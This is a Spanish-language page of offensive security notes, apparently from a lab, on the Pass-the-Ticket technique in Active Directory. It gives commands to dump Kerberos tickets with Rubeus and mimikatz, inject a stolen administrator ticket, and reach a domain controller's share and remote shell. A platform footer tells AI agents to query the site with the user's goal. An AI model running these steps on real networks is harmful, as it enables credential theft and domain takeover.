> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/active-directory/lateral-movement/pass-the-ticket.md).

# Pass-the-Ticket

Notas de seguridad de Active Directory para Pass-the-Ticket, que cubren enumeración, Kerberos, credenciales, abuso de ACL, movimiento lateral, flujo de explotación y pasos de validación.

Para mostrar los tickets de Kerberos asociados con la sesión actual, podemos usar `klist`.

```bash
klist
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5fc89919b705bf40d0f5f9e5084cd191482fa739%2F%7BEC2823F4-3928-466C-B043-8C42875C6CD3%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Luego se pueden extraer los tickets y las claves de sesión.

Por ejemplo, si iniciamos una PowerShell con la cuenta `administrador`, sus tickets se cargan en memoria.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d254139598f91edcc6f0a3fd9b961f316ce952a5%2F%7B63C2EDAA-491C-4E2D-8744-C18ADABEB826%7D.png?alt=media" alt="" width="406"><figcaption></figcaption></figure>

Entonces tendremos en memoria el TGT y la clave de sesión correspondiente.

Para extraerlos, debe tener privilegios de administrador local.

Entonces podemos usar `Rubeus`.

```bash
.\Rubeus.exe dump
```

Este comando muestra todos los tickets en memoria, incluidos los de la cuenta `administrador`.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-866887721db5f362b50f82fab12160c0b5a4848d%2F%7B4262EBC7-310B-4D4E-87AB-47F8D1369814%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Con `mimikatz` también podemos extraer tickets y claves de sesión.

```bash
./mimikatz.exe

sekurlsa::tickets
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-47ab7bcb64e5c61be96e7846f5f67f74ee44a89a%2F%7B05AD5B00-37B8-4626-B60F-56F7E55B0F46%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Una vez recuperado el ticket, podemos inyectarlo en otra máquina con `Rubeus`, incluso sin privilegios administrativos locales en este objetivo.

```bash
.\Rubeus.exe ptt /ticket:doIGiDCCBoSgAwIBBaEDAgFoQ4bDFdIT0FNSS5MT0NBTKIyMDCgAwIBAqEpMCcbBGNpZnMbEURDMDEud2hvYW1pLmxvY2FsGwx3aG9hbWkubG9jYWyjggUeMIIFGqADAgESoQMCAQOiggUMBIIFCHbX7nIoRvWJNNI4G1f3k+hWiivRhmJyEwcA5gOmZuFinRaeaxRtJEwt5YhMeYXkTOpyQck8E3QDrs2Rt2ZF861ZORxF6MmI1jV/432Gfc8Srrl0NUeB9Wj6MdWm9/qU162aOhUaUktI8PfizL04gfYkgVNd4A2wiAHRRvnoMTCdW7NauQwmKERP47gk/+DzpsfxXbSpEgjGZ9qmzZMFqfqX5jgDZsAoQARi/KJcqv7Ew96CNLNhcLwflCPOR1kuNjAZ/bgixRrYNU3SULgd9crEZK2KaGgP/tgmS/mu/4BkPCyAbQRX3OWYB4yae3aZmL86km9w3tHAEaRpKTlsUR/3zVi3gEfoSDSoS8syTixSdM1aalw7Cut4NNvesFNISjensMzd+3NXFqRTiIik546vIz/ZPAsImY+qKWgBWb0DTTX8NmybzVA9Cre8J4fGhlToMdOjooUS+tOzYIfkpsTq7undMOeEmAV96gFaXI8/aJ7HNaNi9l+TtVrsMp2eZA2YU6GRObuNzRfmpWQCF/K88UPvlHS+V6QwJwws6ZqRS34gTWwOGBPGdAqfBFkfoE3dq5ZV/OzT/D4lpWpIo5s9HNab10pAlxZBYE7wisSf+Y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K6o8IaPhtEB+ejgfwwgfmgAwIBAKKB8QSB7n2B6zCB6KCB5TCB4jCB36ArMCmgAwIBEqEiBCC4HMGPF6qIOoLDT5qf/LnjfYgTGKQpexnhTGq614NT3KEOGwxXSE9BTUkuTE9DQUyiGjAYoAMCAQGhETAPGw1hZG1pbmlzdHJhZG9yowcDBQBApQAApREYDzIwMjYwNTI3MTgzNTUzWqYRGA8yMDI2MDUyODAzNTkzNVqnERgPMjAyNjA2MDMxNzU5MzVaqA4bDFdIT0FNSS5MT0NBTKkyMDCgAwIBAqEpMCcbBGNpZnMbEURDMDEud2hvYW1pLmxvY2FsGwx3aG9hbWkubG9jYWw=
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e9bb97c6611d3e168d6096b9bafff7b00495ccf6%2F%7B445C2D4E-A174-493F-8876-7FCCFC35FD62%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Si reiniciamos `klist`, vemos que el ticket cargado realmente pertenece a `administrador`.

```bash
klist
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f137c5ead09fc91b32497889a0786036e8c9d595%2F%7B9C9ACA0C-7599-4006-811D-529B88D788BD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Entonces podemos acceder a los recursos del controlador de dominio.

```bash
dir //DC01/c$
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cb8f5ef2e1537ee78009e0f5b56aa85f42c8031a%2F%7B6EFEA66D-E0EE-4575-97CA-B7901348C793%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Con este ticket también podemos abrir una sesión remota en otras máquinas autorizadas.

```bash
Enter-PSSession -ComputerName DC01
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-44f4e3330aa57cf013af948c46181ad585d3e0a0%2F%7BA0087919-CF00-4332-B603-C001702FD907%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/active-directory/lateral-movement/pass-the-ticket.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
